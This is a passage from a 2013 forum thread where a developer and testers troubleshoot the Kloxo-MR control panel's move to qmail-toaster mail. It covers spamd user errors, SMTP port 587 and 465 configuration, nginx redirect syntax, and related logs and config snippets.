# install all qmail-toaster packet (from github)
yum install *toaster -y

# recreate qmail-assign (read /var/qmail/users/assign)
sh /script/fix-qmail-assign

# remove old smtp (from qmail-lxcenter) config service
rm -f /etc/xinetd.d/*_lxa

# remove old courier-imap (from qmail-lxcenter) config service
# because qmail-toaster just need qmail config service
chkconfig courier-imap off
rm -f /etc/rc.d/init.d/courier-imap

# to make sure local servers as 'localhost'
echo 'localhost' > /var/qmail/control/locals

# run cleanup to adjust other configs related to qmail-toaster
sh /script/cleanup

# need reboot because without it qmail-toaster not running well!
echo "Need reboot!"
echo
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 19:50:01
Quote
2630 root      20   0  148m  55m 3440 R 48.1  0.1  12:47.69 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
17103 root      20   0  148m  53m  968 R 24.9  0.1   0:00.46 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr

Very high CPU usage because of spamd looking for vpopmail user !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 19:57:02
You can remove spamassassin with 'yum remove spamassassin-toaster'.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 20:13:24
Something is wrong:

Code: [Select]
26992 root      20   0  148m  55m 3440 S 62.2  0.1   0:13.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
   24 root      RT   0     0    0    0 S 20.9  0.0   0:04.13 [watchdog/4]
27878 root      20   0  148m  53m 1088 R 12.0  0.1   0:00.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27880 root      20   0  148m  53m  968 R 11.6  0.1   0:00.30 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27879 qmails    20   0     0    0    0 Z 11.2  0.0   0:00.29 [qmail-send] <defunct>
 2623 qmaill    20   0  3868  420  344 S  1.2  0.0   1:33.71 /usr/bin/multilog t s1000000 n100 /var/log/qmail/spamd
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 20:44:40
Quote from: "Spacedust"
Something is wrong:

Code: [Select]
26992 root      20   0  148m  55m 3440 S 62.2  0.1   0:13.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
   24 root      RT   0     0    0    0 S 20.9  0.0   0:04.13 [watchdog/4]
27878 root      20   0  148m  53m 1088 R 12.0  0.1   0:00.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27880 root      20   0  148m  53m  968 R 11.6  0.1   0:00.30 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27879 qmails    20   0     0    0    0 Z 11.2  0.0   0:00.29 [qmail-send] <defunct>
 2623 qmaill    20   0  3868  420  344 S  1.2  0.0   1:33.71 /usr/bin/multilog t s1000000 n100 /var/log/qmail/spamd
Check 'Spamd Log' in 'Log Manager'. Look like port port conflict.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 22:29:56
Quote from: "MRatWork"
Quote from: "Spacedust"
Something is wrong:

Code: [Select]
26992 root      20   0  148m  55m 3440 S 62.2  0.1   0:13.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
   24 root      RT   0     0    0    0 S 20.9  0.0   0:04.13 [watchdog/4]
27878 root      20   0  148m  53m 1088 R 12.0  0.1   0:00.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27880 root      20   0  148m  53m  968 R 11.6  0.1   0:00.30 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27879 qmails    20   0     0    0    0 Z 11.2  0.0   0:00.29 [qmail-send] <defunct>
 2623 qmaill    20   0  3868  420  344 S  1.2  0.0   1:33.71 /usr/bin/multilog t s1000000 n100 /var/log/qmail/spamd
Check 'Spamd Log' in 'Log Manager'. Look like port port conflict.

It looks like vpopmail user is required...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 22:32:57
Quote from: "Spacedust"
Quote from: "MRatWork"
Quote from: "Spacedust"
Something is wrong:

Code: [Select]
26992 root      20   0  148m  55m 3440 S 62.2  0.1   0:13.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
   24 root      RT   0     0    0    0 S 20.9  0.0   0:04.13 [watchdog/4]
27878 root      20   0  148m  53m 1088 R 12.0  0.1   0:00.31 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27880 root      20   0  148m  53m  968 R 11.6  0.1   0:00.30 /usr/bin/perl -T -w /usr/bin/spamd -x -u vpopmail -s stderr
27879 qmails    20   0     0    0    0 Z 11.2  0.0   0:00.29 [qmail-send] <defunct>
 2623 qmaill    20   0  3868  420  344 S  1.2  0.0   1:33.71 /usr/bin/multilog t s1000000 n100 /var/log/qmail/spamd

Check 'Spamd Log' in 'Log Manager'. Look like port port conflict.

It looks like vpopmail user is required...

Code: [Select]
@40000000511d120c07532904 Feb 14 17:34:10.121 [2624] info: spamd: handled cleanup of child pid [9477] due to SIGCHLD: exit 255
@40000000511d120c07774b04 Feb 14 17:34:10.124 [2624] info: prefork: child states: SS
@40000000511d120c08028f5c Feb 14 17:34:10.134 [2624] info: spamd: server successfully spawned child process, pid 9481
@40000000511d120c080c3034 Feb 14 17:34:10.135 [2624] info: prefork: adjust: 0 idle children less than 1 minimum idle children. Increasing spamd children: 9481 started.
@40000000511d120c08467a14 Feb 14 17:34:10.138 [9481] error: spamd: cannot run as nonexistent user or root with -u option
@40000000511d120c0846e774 spamd: cannot run as nonexistent user or root with -u option
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 22:35:46
you can try with remove vpopmail-toaster first, than rename /home/vpopmail and then install vpopmail.

Command 'adduser vpopmail' not work if /home/vpopmail exist.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 22:53:40
Quote from: "MRatWork"
you can try with remove vpopmail-toaster first, than rename /home/vpopmail and then install vpopmail.

Command 'adduser vpopmail' not work if /home/vpopmail exist.

Now getting this:

Code: [Select]
@40000000511d170214052134 Feb 14 17:55:20.330 [12614] error: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170214ac4644 spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d1704113bc034 Feb 14 17:55:22.288 [12889] warn: server socket setup failed, retry 1: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170511ca4c64 Feb 14 17:55:23.293 [12889] warn: server socket setup failed, retry 2: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170612fa96d4 Feb 14 17:55:24.318 [12889] warn: server socket setup failed, retry 3: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d1707194f0eac Feb 14 17:55:25.424 [12889] warn: server socket setup failed, retry 4: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d1708198fffac Feb 14 17:55:26.429 [12889] warn: server socket setup failed, retry 5: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170929c4600c Feb 14 17:55:27.699 [12889] warn: server socket setup failed, retry 6: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170a29c2e524 Feb 14 17:55:28.700 [12889] warn: server socket setup failed, retry 7: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170b29dbe394 Feb 14 17:55:29.702 [12889] warn: server socket setup failed, retry 8: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
@40000000511d170c2a5cdb34 Feb 14 17:55:30.711 [12889] warn: server socket setup failed, retry 9: spamd: could not create INET socket on 127.0.0.1:783: Address already in use
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 22:55:32
Restarted qmail and still getting this:

Code: [Select]
@40000000511d17881ba6069c spamd: cannot run as nonexistent user or root with -u option
@40000000511d17881bf979e4 Feb 14 17:57:34.469 [15360] info: prefork: child states: SSS
@40000000511d17881c37424c Feb 14 17:57:34.473 [15360] info: spamd: server successfully spawned child process, pid 17037
@40000000511d17881c4294bc Feb 14 17:57:34.474 [15360] info: spamd: handled cleanup of child pid [17034] due to SIGCHLD: exit 255
@40000000511d17881c42fa4c Feb 14 17:57:34.474 [15360] info: prefork: adjust: 0 idle children less than 1 minimum idle children. Increasing spamd children: 17037 started.
@40000000511d17881c5019ac Feb 14 17:57:34.474 [17037] error: spamd: cannot run as nonexistent user or root with -u option
@40000000511d17881c503cd4 spamd: cannot run as nonexistent user or root with -u option
@40000000511d17881cb645ec Feb 14 17:57:34.481 [15360] info: prefork: child states: SSS
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 23:03:47
BTW - removing lxcenter causes assign files to be renamed to *.rpmsave
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 23:04:54
Inform '/etc/sysconfig/spamassassin' content. If different with
Code: [Select]
SPAMDOPTIONS=" -v -d -p 783 -u vpopmail"change it.

To make user vpopmail and group vchkpw exist and pointing to '/home/vpopmail' dir.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 23:12:41
Ouch.... my php-fpm just freezed for about 10 minutes displaying Internal Server Error on all pages.

Reason kernel wanted to swap and was unable to do it. Really annoying bug in linux kernel. Using 3.0.61 now :/

Code: [Select]
php-fpm: page allocation failure: order:1, mode:0x20
Pid: 20243, comm: php-fpm Not tainted 3.0.61-1.el5.elrepo #1
Call Trace:
 <IRQ>  [<ffffffff810debd9>] ? warn_alloc_failed+0x132/0x153
 [<ffffffff810dd8b1>] ? get_page_from_freelist+0x19c/0x1ce
 [<ffffffff810dd9a1>] ? wake_all_kswapd+0x48/0x61
 [<ffffffff810def1a>] ? __alloc_pages_slowpath+0x320/0x340
 [<ffffffff810dd8b1>] ? get_page_from_freelist+0x19c/0x1ce
 [<ffffffff810df00a>] ? __alloc_pages_nodemask+0xd0/0x10b
 [<ffffffff81118cb8>] ? __alloc_pages+0xb/0xd
 [<ffffffff81118cd8>] ? alloc_pages_exact_node+0x1e/0x23
 [<ffffffff81118d16>] ? kmem_getpages+0x39/0xdc
 [<ffffffff81118f3b>] ? fallback_alloc+0x144/0x1d2
 [<ffffffff811190ec>] ? ____cache_alloc_node+0x123/0x136
 [<ffffffff8111a409>] ? kmem_cache_alloc+0x7f/0xd3
 [<ffffffff8133105f>] ? sk_prot_alloc+0x3b/0xe2
 [<ffffffff81331e39>] ? sk_clone+0x24/0x238
 [<ffffffff8137829b>] ? inet_csk_clone+0x16/0x9c
 [<ffffffff8138da81>] ? tcp_create_openreq_child+0x2a/0x3a5
 [<ffffffff8138cab1>] ? tcp_v4_syn_recv_sock+0x41/0x1c8
 [<ffffffff8138e08d>] ? tcp_check_req+0x210/0x2a3
 [<ffffffff8137815b>] ? inet_csk_search_req+0x3c/0x9e
 [<ffffffff8138b7c9>] ? tcp_v4_hnd_req+0x61/0xe2
 [<ffffffff8138b943>] ? tcp_v4_do_rcv+0x90/0x124
 [<ffffffff8138c8e4>] ? tcp_v4_rcv+0x1f6/0x382
 [<ffffffff8136e0ba>] ? ip_local_deliver_finish+0xdb/0x152
 [<ffffffff8136dfdf>] ? ip_local_deliver+0x5d/0x5d
 [<ffffffff8136d8c8>] ? NF_HOOK_THRESH+0x2a/0x31
 [<ffffffff813667e2>] ? rcu_read_unlock+0x9/0xb
 [<ffffffff8136d8e7>] ? NF_HOOK+0x18/0x1a
 [<ffffffff8136ddac>] ? ip_rcv+0x1dc/0x1dc
 [<ffffffff8136dfd6>] ? ip_local_deliver+0x54/0x5d
 [<ffffffff8136d846>] ? dst_input+0x17/0x1b
 [<ffffffff8136ddac>] ? ip_rcv+0x1dc/0x1dc
 [<ffffffff8136df6a>] ? ip_rcv_finish+0x1be/0x1d6
 [<ffffffff8136ddac>] ? ip_rcv+0x1dc/0x1dc
 [<ffffffff8136d8c8>] ? NF_HOOK_THRESH+0x2a/0x31
 [<ffffffff81117ca5>] ? page_get_cache+0x15/0x24
 [<ffffffff8136d8e7>] ? NF_HOOK+0x18/0x1a
 [<ffffffff8136dd7e>] ? ip_rcv+0x1ae/0x1dc
 [<ffffffff8133d384>] ? __netif_receive_skb+0x2a9/0x2e3
 [<ffffffff813429e0>] ? process_backlog+0x62/0x130
 [<ffffffff813427c0>] ? net_rx_action+0x91/0x144
 [<ffffffff81052979>] ? __do_softirq+0xa7/0x145
 [<ffffffff813ef51c>] ? call_softirq+0x1c/0x30
 <EOI>  [<ffffffff81004152>] ? do_softirq+0x46/0x84
 [<ffffffff81052886>] ? _local_bh_enable_ip+0x7a/0xa2
 [<ffffffff810528d0>] ? local_bh_enable+0x12/0x14
 [<ffffffff8133f5f0>] ? __rcu_read_unlock_bh+0x9/0xb
 [<ffffffff8133f5fb>] ? rcu_read_unlock_bh+0x9/0xb
 [<ffffffff8133ffcf>] ? dev_queue_xmit+0x14c/0x157
 [<ffffffff813726d5>] ? neigh_hh_output+0x4d/0x52
 [<ffffffff81372b8b>] ? ip_finish_output2+0x192/0x1e7
 [<ffffffff81372c4d>] ? ip_finish_output+0x6d/0x72
 [<ffffffff81372be0>] ? ip_finish_output2+0x1e7/0x1e7
 [<ffffffff8137284c>] ? NF_HOOK_COND+0x34/0x3b
 [<ffffffff81372d74>] ? ip_output+0xb6/0xbe
 [<ffffffff813728b7>] ? nf_hook+0x18/0x1a
 [<ffffffff81370f1f>] ? dst_output+0x17/0x1b
 [<ffffffff81372971>] ? ip_local_out+0x23/0x28
 [<ffffffff8137310e>] ? ip_queue_xmit+0x229/0x27f
 [<ffffffff8138967b>] ? csum_tcpudp_magic+0x24/0x29
 [<ffffffff81389960>] ? tcp_v4_check+0x1a/0x1f
 [<ffffffff81386573>] ? tcp_transmit_skb+0x2e5/0x314
 [<ffffffff81387adb>] ? tcp_write_xmit+0x153/0x1d2
 [<ffffffff81387bb5>] ? __tcp_push_pending_frames+0x25/0x35
 [<ffffffff81379b82>] ? tcp_push+0x81/0x83
 [<ffffffff8137cb33>] ? tcp_sendmsg+0x4de/0x555
 [<ffffffff8139b53b>] ? inet_sendmsg+0x60/0x6d
 [<ffffffff8132af65>] ? __sock_sendmsg_nosec+0x55/0x62
 [<ffffffff8132c60f>] ? __sock_sendmsg+0x39/0x42
 [<ffffffff8132ce70>] ? sock_sendmsg+0xa8/0xc1
 [<ffffffff8107edd2>] ? __raw_spin_unlock_irq+0x2b/0x36
 [<ffffffff81048c18>] ? context_switch+0x109/0x118
 [<ffffffff8103978b>] ? need_resched+0x1e/0x28
 [<ffffffff813e7267>] ? __schedule+0x183/0x198
 [<ffffffff813e739f>] ? preempt_schedule+0x4f/0x57
 [<ffffffff8112dba1>] ? fget_light+0x3e/0x9e
 [<ffffffff8132cef2>] ? sockfd_lookup_light+0x20/0x58
 [<ffffffff8132d4c4>] ? sys_sendto+0x12f/0x171
 [<ffffffff8107ee3a>] ? __raw_spin_unlock+0x24/0x2f
 [<ffffffff813e865e>] ? _raw_spin_unlock+0xe/0x10
 [<ffffffff81139ba1>] ? spin_unlock+0x9/0xb
 [<ffffffff8113a2ff>] ? setfl+0x110/0x127
 [<ffffffff8113a762>] ? do_fcntl+0x15e/0x207
 [<ffffffff813ee302>] ? system_call_fastpath+0x16/0x1b
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-15, 01:42:30
Found error with nginx and parket/redirected domain...

When a domain is parket/redirected then only "example.tk" is redirected and not also "www.example.tk" - (it shows 'welcome to web server')

Problem is inside /home/nginx/domains/"example.com.conf" and in this line :
Code: [Select]
## web for redirect 'example.tk'
server {
    listen *:80;

    server_name 'example.tk';

    if ($host != 'example.com') {
        rewrite ^/(.*) 'http://example.com/$1';
    }
}

Solution is very simple, for enable both "example.tk" & "www.example.tk"
Just add a dot (.) in this line : server_name '.example.tk';
So the proper code is :

Code: [Select]
## web for redirect 'example.tk'
server {
    listen *:80;

    server_name '.example.tk';

    if ($host != 'example.com') {
        rewrite ^/(.*) 'http://example.com/$1';
    }
}

I beleive problem is inside /home/nginx/tpl/domains.conf.tpl line: 511
Code: [Select]
server_name '<?php echo $redirdomainname?>';
But i dont know what to change sorry :) I hope i helped..
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 02:17:54
@djscooby,

That mean only www. not work?

If yes, I think Httpd and Lighttpd the same issue.

Better use 'server_name example.tk www.example.tk;' (http://www.example.tk;') instead "server_name '.example.tk';" because possible '.example.tk' equal to '*.example.tk'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 02:32:16
Quote from: "MRatWork"
Inform '/etc/sysconfig/spamassassin' content. If different with
Code: [Select]
SPAMDOPTIONS=" -v -d -p 783 -u vpopmail"change it.

To make user vpopmail and group vchkpw exist and pointing to '/home/vpopmail' dir.

Change it to what ?

Code: [Select]
[root@localhost ~]# cat /etc/sysconfig/spamassassin
cat: /etc/sysconfig/spamassassin: No such file or directory
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 02:34:59
Changed to:
Code: [Select]

SPAMDOPTIONS=" -v -d -p 783 -u vpopmail"

and still not working:

Code: [Select]
vpopmail: No such user
so I've added user:

Code: [Select]
adduser vpopmail
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 02:41:49
Quote from: "Spacedust"
Changed to:
Code: [Select]

SPAMDOPTIONS=" -v -d -p 783 -u vpopmail"

and still not working:

Code: [Select]
vpopmail: No such user
so I've added user:

Code: [Select]
adduser vpopmail
It's great to execute adduser for vpopmail because in installer execute for this as disable. In latest upload this issue already fixed.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 02:51:59
Quote from: "MRatWork"
Quote from: "Spacedust"
Changed to:
Code: [Select]

SPAMDOPTIONS=" -v -d -p 783 -u vpopmail"

and still not working:

Code: [Select]
vpopmail: No such user
so I've added user:

Code: [Select]
adduser vpopmail
It's great to execute adduser for vpopmail because in installer execute for this as disable. In latest upload this issue already fixed.

Still having a lot of troubles, but I forgot to rename back vpopmail2 to vpopmail ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 02:57:16
Still there is something wrong. I can't send e-mails and receiving doesn't work at all, but my production server responds that mail was delivered ok. Any ideas ?

I'm on CentOS 5.9 64-bit.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 02:58:46
Quote
Feb 14 22:00:36 localhost vpopmail[10976]: vchkpw-smtp: vpopmail user not found admin2@nowosci.org (http://mailto:admin2@nowosci.org):127.0.0.1
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 03:04:08
What's wrong ?

Code: [Select]
[root@nowosci /]# cat /etc/passwd | grep vpopmail
vpopmail:x:7797:7797::/home/vpopmail:/bin/bash
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 16:40:42
Mustafa please reply what should I do to fix mail ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 17:13:57
Nothing wrong with your vpopmail.

Email password save by qmail inside vpopmail database. Every imap/pop3 client (webmail) ask email account and password to vpopmail. So, you will be not any information when running 'at /etc/passwd | grep vpopmail'.

Vpopmail know how to connect to vpopmail database via information inside '/home/vpopmail/etc/vpopmail.mysql'. For sync, imap/pop3/smtp know where email data save via information inside '/var/qmail/users/assign'. Running 'sh /script/fix-qmail-assign' to make inform on vpopmail database sync with inform need by qmail (for imap/pop3/smtp need).

To know what email account you can run '/home/vpopmail/bin/vdominfo'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 17:19:38
Quote from: "MRatWork"
Nothing wrong with your vpopmail.

Email password save by qmail inside vpopmail database. Every imap/pop3 client (webmail) ask email account and password to vpopmail. So, you will be not any information when running 'at /etc/passwd | grep vpopmail'.

Vpopmail know how to connect to vpopmail database via information inside '/home/vpopmail/etc/vpopmail.mysql'. For sync, imap/pop3/smtp know where email data save via information inside '/var/qmail/users/assign'. Running 'sh /script/fix-qmail-assign' to make inform on vpopmail database sync with inform need by qmail (for imap/pop3/smtp need).

To know what email account you can run '/home/vpopmail/bin/vdominfo'

E-mails are not receving and I cannot send any e-mails via Afterlogic !!!
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 17:23:52
Testing mail again...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 17:30:03
Quote from: "Spacedust"
Quote from: "MRatWork"
Nothing wrong with your vpopmail.

Email password save by qmail inside vpopmail database. Every imap/pop3 client (webmail) ask email account and password to vpopmail. So, you will be not any information when running 'at /etc/passwd | grep vpopmail'.

Vpopmail know how to connect to vpopmail database via information inside '/home/vpopmail/etc/vpopmail.mysql'. For sync, imap/pop3/smtp know where email data save via information inside '/var/qmail/users/assign'. Running 'sh /script/fix-qmail-assign' to make inform on vpopmail database sync with inform need by qmail (for imap/pop3/smtp need).

To know what email account you can run '/home/vpopmail/bin/vdominfo'

E-mails are not receving and I cannot send any e-mails via Afterlogic !!!
If you can login to webmail (roundcube or others) that mean nothing wrong with vpopmail. Afterlogic need special 'treatment' ('Use SMTP authentication' must disable) for send mail.

In your case, how about roundcube. The same issue like afterlogic?.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 17:39:44
Quote from: "MRatWork"
Quote from: "Spacedust"
Quote from: "MRatWork"
Nothing wrong with your vpopmail.

Email password save by qmail inside vpopmail database. Every imap/pop3 client (webmail) ask email account and password to vpopmail. So, you will be not any information when running 'at /etc/passwd | grep vpopmail'.

Vpopmail know how to connect to vpopmail database via information inside '/home/vpopmail/etc/vpopmail.mysql'. For sync, imap/pop3/smtp know where email data save via information inside '/var/qmail/users/assign'. Running 'sh /script/fix-qmail-assign' to make inform on vpopmail database sync with inform need by qmail (for imap/pop3/smtp need).

To know what email account you can run '/home/vpopmail/bin/vdominfo'

E-mails are not receving and I cannot send any e-mails via Afterlogic !!!
If you can login to webmail (roundcube or others) that mean nothing wrong with vpopmail. Afterlogic need special 'treatment' ('Use SMTP authentication' must disable) for send mail.

In your case, how about roundcube. The same issue like afterlogic?.

Not working:

(http://dodajfotke.pl/images/fphjx2c9.jpg)

I use the same config like on my production server so it should work !

(http://dodajfotke.pl/images/16mhr54s.jpg)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 17:49:23
I know what's wrong :/

451 http://www.spamhaus.org/query/bl?ip= (http://www.spamhaus.org/query/bl?ip=)<my dynamic IP>

I'm trying port 587 ;)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 17:51:55
For Afterlogic, you must disable (uncheck) 'Use SMTP authentication'

[attachment=0:3cno2x9f]afterlogic_settings_emailaccounts_properties.png[/attachment:3cno2x9f]
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 17:56:26
Quote from: "MRatWork"
For Afterlogic, you must disable (uncheck) 'Use SMTP authentication'

[attachment=0:6ni4j0qe]afterlogic_settings_emailaccounts_properties.png[/attachment:6ni4j0qe]

No, this works well with Qmail from lxcenter.

I'm trying to send via Outlook 2003 on port 587 and it prompts for password while it's correct already:

(http://dodajfotke.pl/images/31cq8nz2.jpg)

Logs:

Code: [Select]
Feb 15 12:58:58 nowosci vpopmail[12882]: vchkpw-pop3: (PLAIN) login success admin2@nowosci.org:62.21.xx.xx
Feb 15 12:59:21 nowosci vpopmail[12995]: vchkpw-submission: vpopmail user not found admin2@nowosci.org:62.21.xx.xx
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 18:05:44
You didn't give info this issue also the same with other webmail (roundcube for example).

And your info just related to Afterlogic.

And then you give info login via 587 for different product (Kloxo and Kloxo-MR as different product especially in context email because using different variant of qmail; qmail-lxcenter vs qmail-toaster).

FYI, port 587 not work for my account on lxcenter.org.

So?.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 18:14:07
Quote from: "MRatWork"
You didn't give info this issue also the same with other webmail (roundcube for example).

And your info just related to Afterlogic.

And then you give info login via 587 for different product (Kloxo and Kloxo-MR as different product especially in context email because using different variant of qmail; qmail-lxcenter vs qmail-toaster).

FYI, port 587 not work for my account on lxcenter.org.

So?.

Ok, so let's just try making this usable at least on Outlook 2003.

Logging to POP3 ok,
Logging to IMAP ok,
Sending via SMTP needs testing on static IP,
Sending via SMTP on port 587 not possible - login error
Receving mails via POP3 not working - different server reports that mail is delivered successfully, but it's gone...

Port 587 is a must have, port 25 blocked is blocked in most polish ISP's due to SPAM.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 18:29:34
1. What information inside '/var/log/qmail/submission/current'
2. Try another way:
- Modified '/var/qmail/supervise/smtp/run'
from
Code: [Select]
#!/bin/sh
QMAILDUID=`id -u vpopmail`
NOFILESGID=`id -g vpopmail`
MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
BLACKLIST=`cat /var/qmail/control/blacklists`
SMTPD="/var/qmail/bin/qmail-smtpd"
TCP_CDB="/etc/tcprules.d/tcp.smtp.cdb"
RBLSMTPD="/usr/bin/rblsmtpd"
HOSTNAME=`hostname`
VCHKPW="/home/vpopmail/bin/vchkpw"
REQUIRE_AUTH=0

exec /usr/bin/softlimit -m 64000000
     /usr/bin/tcpserver -v -R -H -l $HOSTNAME -x $TCP_CDB -c "$MAXSMTPD"
     -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp
     $RBLSMTPD $BLACKLIST $SMTPD $VCHKPW /bin/true 2>&1

to:
Code: [Select]
#!/bin/sh
QMAILDUID=`id -u vpopmail`
NOFILESGID=`id -g vpopmail`
MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
BLACKLIST=`cat /var/qmail/control/blacklists`
SMTPD="/var/qmail/bin/qmail-smtpd"
TCP_CDB="/etc/tcprules.d/tcp.smtp.cdb"
RBLSMTPD="/usr/bin/rblsmtpd"
HOSTNAME=`hostname`
VCHKPW="/home/vpopmail/bin/vchkpw"
REQUIRE_AUTH=0

exec /usr/bin/softlimit -m 64000000
     /usr/bin/tcpserver -v -R -H -l $HOSTNAME -x $TCP_CDB -c "$MAXSMTPD"
     -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp
     $RBLSMTPD $BLACKLIST $SMTPD $VCHKPW /bin/true 2>&1

exec /usr/bin/softlimit -m 64000000
     /usr/bin/tcpserver -v -R -H -l $HOSTNAME -x $TCP_CDB -c "$MAXSMTPD"
     -u "$QMAILDUID" -g "$NOFILESGID" 0 465
     $RBLSMTPD $BLACKLIST $SMTPD $VCHKPW /bin/true 2>&1
and then run 'qmailctl restart' or 'service qmail restart'.

And then try setup smtp with 465 with possiblity variations (ssl, non-ssl or others) in your mail client
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 18:40:32
Quote from: "MRatWork"
1. What information inside '/var/log/qmail/submission/current'

Code: [Select]
@40000000511e28cf090fa614 CHKUSER accepted sender: from <admin2@nowosci.org::> remote <MacPro:unknown:62.21.xx.xx> rcpt <> : sender accepted
@40000000511e28d0134e9aa4 CHKUSER accepted sender: from <admin2@nowosci.org::> remote <MacPro:unknown:62.21.xx.xx> rcpt <> : sender accepted
@40000000511e28d23271799c tcpserver: end 20223 status 0
@40000000511e28d2327194f4 tcpserver: status: 0/100
@40000000511e28e238543444 tcpserver: status: 1/100
@40000000511e28e2385ffbe4 tcpserver: pid 20324 from 62.21.xx.xx
@40000000511e28e2386059a4 tcpserver: ok 20324 nowosci.org:192.168.1.8:587 :62.21.xx.xx::35251
@40000000511e28e800496ed4 tcpserver: end 20324 status 256
@40000000511e28e800498a2c tcpserver: status: 0/100
@40000000511e28e90e106cfc tcpserver: status: 1/100
@40000000511e28e90e1435bc tcpserver: pid 20358 from 62.21.xx.xx
@40000000511e28e90e156e3c tcpserver: ok 20358 nowosci.org:192.168.1.8:587 :62.21.xx.xx::45338
@40000000511e28ee0f417abc tcpserver: end 20358 status 256
@40000000511e28ee0f419614 tcpserver: status: 0/100
@40000000511e28f0350d69cc tcpserver: status: 1/100
@40000000511e28f0351086ac tcpserver: pid 20400 from 62.21.xx.xx
@40000000511e28f03511d2b4 tcpserver: ok 20400 nowosci.org:192.168.1.8:587 :62.21.xx.xx::43460
@40000000511e28f610cf8144 tcpserver: end 20400 status 256
@40000000511e28f610cf98b4 tcpserver: status: 0/100

I'm trying to upgrade to latest version again and run convert to qmail-toaster.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 18:51:25
And I found a bug:

Code: [Select]
Pattern 'include "/etc/kloxo.named.conf";' Already present in /var/named/chroot/etc/named.conf

Creating Vpopmail database...
/usr/local/lxlabs/kloxo/bin/misc/vpop.sh: line 23: /home/vpopmail/etc/vpopmail.mysql: No such file or directory
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 18:56:49
Quote from: "Spacedust"
And I found a bug:

Code: [Select]
Pattern 'include "/etc/kloxo.named.conf";' Already present in /var/named/chroot/etc/named.conf

Creating Vpopmail database...
/usr/local/lxlabs/kloxo/bin/misc/vpop.sh: line 23: /home/vpopmail/etc/vpopmail.mysql: No such file or directory
It's ok. It's because vpopmail-toaster not exist before execute vpop.sh. But, you can run 'sh /script/cleanup' or 'sh /usr/local/lxlabs/kloxo/bin/misc/vpop.sh' after update finished.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 18:57:59
Quote from: "MRatWork"
Quote from: "Spacedust"
And I found a bug:

Code: [Select]
Pattern 'include "/etc/kloxo.named.conf";' Already present in /var/named/chroot/etc/named.conf

Creating Vpopmail database...
